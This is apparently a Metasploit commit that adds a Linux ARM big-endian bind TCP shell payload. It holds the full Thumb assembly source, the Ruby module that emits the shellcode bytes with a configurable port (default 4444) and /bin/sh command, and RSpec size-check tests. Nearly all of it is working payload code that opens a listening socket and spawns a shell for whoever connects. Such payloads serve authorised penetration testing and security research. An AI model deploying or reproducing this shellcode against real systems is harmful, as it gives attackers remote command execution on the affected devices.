Land #6959, Add Linux ARM big endian ipv4 bind shellcode
Brent Cook
commit
cfc368ab65
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@ -0,0 +1,117 @@
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@@
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@
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@ Name: single_sock_bind
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@ Qualities: -
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@ Authors: Balazs Bucsay <@xoreipeip>
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@ License: MSF_LICENSE
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@ Description:
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@
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@ Implementation of a Linux bind TCP shellcode for ARM BE architecture.
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@
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@ Assemble with:
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@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o
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@ Link with:
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@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode
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@
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@ Meta-Information:
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@
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@ meta-shortname=Linux Bind TCP
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@ meta-description=Listen on a port for a connection and run a second stage
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@ meta-authors=earthquake
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@ meta-os=linux
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@ meta-arch=armbe
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@ meta-category=singles
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@ meta-connection-type=bind
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@ meta-name=bind_tcp
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@@
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.section .text
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.global _start
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_start:
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.code 32
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@ Thumb-Mode on
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add r6, pc, #1
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bx r6
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.code 16
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@ _socket(2,1,0)
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sub r2, r2, r2
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add r1, r2, #1
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add r0, r2, #2
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lsl r7, r1, #8
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add r7, r7, #0x19
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svc 1
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mov r6, r0
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@ 1 uint8_t sin_len
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@ 1 sa_family_t sin_family
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@ 2 in_port_t sin_port
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@ 4 struct in_addr sin_addr
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@ 8 char sin_zero [8]
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@ 00 02 5C11 00000000 00000000 00000000
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@ 5c11 => 4444
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@ _bind()
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mov r2, #2
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lsl r2, r2, #8
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add r2, r2, #0x11
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lsl r2, r2, #8
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add r2, r2, #0x5C
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sub r3, r3, r3
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sub r4, r4, r4
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sub r5, r5, r5
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mov r1, sp
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stm r1!, {r2-r5}
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sub r1, #0x10
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mov r2, #16
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add r7, r7, #1
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svc 1
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@ _listen()
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mov r0, r6
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sub r1, r1, r1
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add r7, r7, #2
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svc 1
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@ _accept()
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mov r0, r6
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sub r2, r2, r2
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add r7, r7, #1
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svc 1
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mov r6, r0
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@ _dup2()
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sub r1, r1, r1
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mov r7, #63
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svc 1
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mov r0, r6
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add r1, r1, #1
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svc 1
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mov r0, r6
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add r1, r1, #1
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svc 1
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_execve()
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sub r2, r2, r2
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mov r0, pc
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add r0, #18
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@ next intstruction terminates the string beneath the code "//bin/sh"
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@ in case you want to say goodbye to the null character
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@ str r2, [r0, #8]
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str r2, [sp, #8]
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str r0, [sp, #4]
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add r1, sp, #4
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mov r7, #11
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svc 1
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@ _exit()
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sub r4, r4, r4
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mov r0, r4
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mov r7, #1
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svc 1
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.ascii "//bin/sh\0"
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@.ascii "//bin/sh"
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@ -44,7 +44,7 @@ module MetasploitModule
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"\x0f\x05" +# syscall #
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"\x48\x97" +# xchg %rax,%rdi #
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"\x52" +# push %rdx #
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"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
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"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
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"\x52" +# push %rdx #
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"\x48\x89\xe6" +# mov %rsp,%rsi #
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"\x6a\x10" +# pushq $0x10 #
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@ -0,0 +1,115 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit4
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CachedSize = 118
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include Msf::Payload::Single
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include Msf::Payload::Linux
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux ARM Big Endian Command Shell, Bind TCP Inline',
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'Description' => 'Listen for a connection and spawn a command shell',
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'Author' => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
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'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/armeb_linux_ipv4_bind_tcp.s'],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_ARMBE,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShellUnix
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))
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# Register command execution options
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register_options(
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[
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OptString.new('CMD', [ true, "The command to execute.", "/bin/sh" ]),
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Opt::LPORT(4444)
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], self.class)
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end
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def generate
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cmd = (datastore['CMD'] || '') + "\x00"
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bytehigh = (datastore['LPORT'].to_i >> 8).chr
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bytelow = (datastore['LPORT'].to_i & 0xFF).chr
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payload =
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# turning on thumb mode
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"\xe2\x8f\x60\x01" +# add r6, pc, #1 #
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"\xe1\x2f\xff\x16" +# bx r6 #
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# thumb mode on
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# socket(2,1,0)
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"\x1a\x92" +# sub r2, r2, r2 #
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"\x1c\x51" +# add r1, r2, #1 #
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"\x1c\x90" +# add r0, r2, #2 #
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"\x02\x0f" +# lsl r7, r1, #8 #
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"\x37\x19" +# add r7, r7, #0x19 #
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"\xdf\x01" +# svc 1 #
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"\x1c\x06" +# mov r6, r0 #
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# bind()
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"\x22\x02" +# mov r2, #2 #
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"\x02\x12" +# lsl r2, r2, #8 #
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"\x32"+bytehigh +# add r2, r2, #0xXX #
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"\x02\x12" +# lsl r2, r2, #8 #
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"\x32"+bytelow +# add r2, r2, #0xXX #
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"\x1a\xdb" +# sub r3, r3, r3 #
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"\x1b\x24" +# sub r4, r4, r4 #
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"\x1b\x6d" +# sub r5, r5, r5 #
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"\x46\x69" +# mov r1, sp #
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"\xc1\x3c" +# stm r1!, {r2-r5} #
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"\x39\x10" +# sub r1, #0x10 #
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"\x22\x10" +# mov r2, #16 #
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"\x37\x01" +# add r7, r7, #1 #
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"\xdf\x01" +# svc 1 #
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# listen()
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"\x1c\x30" +# mov r0, r6 #
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"\x1a\x49" +# sub r1, r1, r1 #
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"\x37\x02" +# add r7, r7, #2 #
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"\xdf\x01" +# svc 1 #
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# accept()
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"\x1c\x30" +# mov r0, r6 #
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"\x1a\x92" +# sub r2, r2, r2 #
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"\x37\x01" +# add r7, r7, #1 #
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"\xdf\x01" +# svc 1 #
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"\x1c\x06" +# mov r6, r0 #
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# dup2()
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"\x1a\x49" +# sub r1, r1, r1 #
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"\x27\x3f" +# mov r7, #63 #
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"\xdf\x01" +# svc 1 #
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"\x1c\x30" +# mov r0, r6 #
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"\x31\x01" +# add r1, r1, #1 #
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"\xdf\x01" +# svc 1 #
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"\x1c\x30" +# mov r0, r6 #
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"\x31\x01" +# add r1, r1, #1 #
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"\xdf\x01" +# svc 1 #
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# execve()
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"\x1a\x92" +# sub r2, r2, r2 #
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"\x46\x78" +# mov r0, pc #
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"\x30\x12" +# add r0, #18 #
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"\x92\x02" +# str r2, [sp, #8] #
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"\x90\x01" +# str r0, [sp, #4] #
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"\xa9\x01" +# add r1, sp, #4 #
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"\x27\x0b" +# mov r7, #11 #
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"\xdf\x01" +# svc 1 #
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# exit()
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"\x1b\x24" +# sub r4, r4, r4 #
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"\x1c\x20" +# mov r0, r4 #
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"\x27\x01" +# mov r7, #1 #
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"\xdf\x01" +# svc 1 #
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cmd
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end
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end
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@ -1053,6 +1053,16 @@ RSpec.describe 'modules/payloads', :content do
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modules_pathname: modules_pathname,
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reference_name: 'java/shell_reverse_tcp'
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end
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context 'linux/armbe/shell_bind_tcp' do
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it_should_behave_like 'payload cached size is consistent',
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ancestor_reference_names: [
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'singles/linux/armbe/shell_bind_tcp'
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],
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dynamic_size: false,
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modules_pathname: modules_pathname,
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reference_name: 'linux/armbe/shell_bind_tcp'
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end
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context 'linux/armle/adduser' do
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it_should_behave_like 'payload cached size is consistent',
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